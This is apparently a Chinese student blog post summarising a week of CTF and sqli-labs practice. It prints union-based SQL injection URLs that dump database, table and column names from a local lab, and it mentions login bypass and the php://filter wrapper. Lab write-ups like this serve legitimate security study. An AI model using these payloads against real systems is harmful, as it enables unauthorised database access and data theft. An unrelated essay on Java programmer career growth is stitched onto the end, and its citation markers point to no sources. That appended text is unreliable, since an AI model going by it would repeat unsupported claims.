本周学习总结

本周博客重点讨论了SQL注入,包括数字型和字符型注入,利用万能密码进行绕过。分享了爆库、爆表和爆字段的实战例子,并提及了SecretFile的解决方法,涉及php伪协议。此外,还提到了PHP学习的进展和下周的学习计划,包括深入学习PHP和文件上传靶场的实践。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

完成事项

一、每周需要写的题目

sql的两道题目

还有一个就是Secret File

二、SQL注入点判断及万能密码

三、未办事项

下周代做


完成事项


一、每周需要写的题目

        这一周的博客记录了4道题,其中有两道是sql注入,另外的是一道简单的php和一个信息泄露?(不确定是哪种类型的题目)同时还涉及到了文件包含的漏洞。

sql的两道题目

        第一道主要还是和万能密码有关,比较简单,第二题是sql注入,还是爆库,爆表,爆字段。有一段时间没去靶场练习sql了,所以写题时有点费脑子,不过按照以往的步骤还是写出来了。

爆库

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,database()–+

爆表

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+

爆字段

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’–+

还有一个就是Secret File

        前面还是看源代码,后面是burp抓包,最后就是php伪协议,这个php伪协议了解了一点,但不是特别了解,因为写题根本没想到,还是看别人的博客才知道的,这一题是用php://fileter伪协议来获取文件,所以php伪协议还需要了解。

        havefun有点简单就不说了。

二、SQL注入点判断及万能密码


        sql注入主要还是数字型和字符型,以及注入时or,and,xor等的运用进行注入。然后就是万能密码是根据过滤,运用逻辑运算符进行绕过但是csdn上讲的非常多,所以有点不明白这个是怎么判断数据库对什么进行了过滤。

三、未办事项


php的继续学习,最近课有点多,晚上来工作室的时间少,所以php进程较前两周很慢。

下周代做


  • 写题
  • 学习php,详细了解php伪协议
  • 文件上传,打upload靶场
  • 加固sql注入
### 关于程序员个人成长的总结与方法 #### 成长背景与现状 当前中国的Java程序员数量已超过百万,随着IT行业的快速发展以及大量新人涌入市场,竞争日益激烈[^1]。因此,无论是初入职场的新手还是已有一定经验的老手,都需要思考如何有效提升自己以适应行业需求。 #### 职业发展阶段分析 对于工作2至5年的Java程序员而言,其职业路径通常会经历以下几个阶段: - **基础巩固期**:此阶段主要关注核心编程技能的学习与掌握,例如数据结构、算法设计及面向对象编程原则。 - **实战积累期**:参与实际项目开发,在实践中加深对软件工程的理解并解决复杂问题的能力。 - **技术深化期**:深入研究特定领域内的先进技术(如分布式系统、微服务架构),同时培养团队协作能力和管理技巧[^3]。 #### 面临挑战及其应对策略 许多程序员在职业生涯中期可能会遇到瓶颈——当他们被赋予更多责任时却发现自己缺乏必要的经验和知识来胜任新角色[^2]。针对这种情况可采取如下措施: 1. 明确目标方向 结合自身兴趣爱好和发展潜力设定清晰的职业规划;定期评估进展状况以便及时调整计划。 2. 构建完善的知识体系 不仅局限于编码本身,还应涉猎计算机科学基础知识(操作系统原理、网络协议)、数据库优化等方面的内容。此外还需注重非技术层面的成长,比如沟通表达力、时间管理等软实力的锻炼。 3. 积极投身开源社区贡献代码 这不仅能提高技术水平还能扩大人脉圈层获得更多学习机会。 4. 善用在线资源平台自学充电 利用MOOC课程网站观看高质量视频教程阅读经典书籍文献资料等方式保持终身学习态度。 ```java // 示例代码展示良好的编程习惯 public class GrowthPlan { public static void main(String[] args){ System.out.println("坚持每天进步一点点"); // 定义长期目标 String longTermGoal = "成为行业内顶尖专家"; // 将大目标拆解成若干个小任务逐步完成 List<String> shortTasks = Arrays.asList( "每周阅读一篇专业技术文章", "每月尝试一种新的框架工具" ); for (String task : shortTasks){ executeTask(task); } } private static void executeTask(String taskName){ System.out.printf("正在执行:%s%n",taskName); } } ``` #### 综述 综上所述,作为一位追求卓越的开发者应当制定合理可行的成长方案并通过坚持不懈的努力去实现它。只有这样才能够在这个瞬息万变的技术世界里立于不败之地[^1].
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值